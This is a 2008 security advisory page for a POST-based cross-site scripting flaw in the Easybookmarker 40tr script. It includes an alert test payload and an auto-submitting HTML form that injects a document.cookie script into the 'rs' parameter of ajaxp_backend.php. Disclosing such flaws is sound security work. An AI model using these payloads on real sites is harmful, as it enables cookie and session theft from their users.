Easybookmarker 40tr Xss Vulnerability By Khashayar Fereidani

2008.08.02
Credit: irancrash
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2008-3380
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

---------------------------------------------------------------- Script : Easybookmarker 40tr Type : Xss Vulnerability Method : POST Alert : High ---------------------------------------------------------------- Discovered by : Khashayar Fereidani a.k.a. Dr.Crash My Offical Website : HTTP://FEREIDANI.IR Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t] com ---------------------------------------------------------------- Khashayar Fereidani Offical Website : HTTP://FEREIDANI.IR ---------------------------------------------------------------- Script Download : http://myiosoft.com/download/EasyBookMarker/easybookmarker-40tr.zip ---------------------------------------------------------------- Xss Vulnerability : Variable : rs Send Method : POST Set rs variable with post method in ajaxp_backend.php : <script>alert('xss')</script> for test vulnerability <html> <head></head> <body onLoad=javascript:document.form.submit()> <form action="http://example/zomplog/ajaxp_backend.php" method="POST" name="form"> <input type="hidden" name="rs" value="" <script>alert(document.cookie)</script>"> </form> </body> </html> ---------------------------------------------------------------- Tnx : God HTTP://IRCRASH.COM ----------------------------------------------------------------

References:

http://xforce.iss.net/xforce/xfdb/43918
http://www.securityfocus.com/bid/30304
http://www.securityfocus.com/archive/1/archive/1/494550/100/0/threaded
http://secunia.com/advisories/31191


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top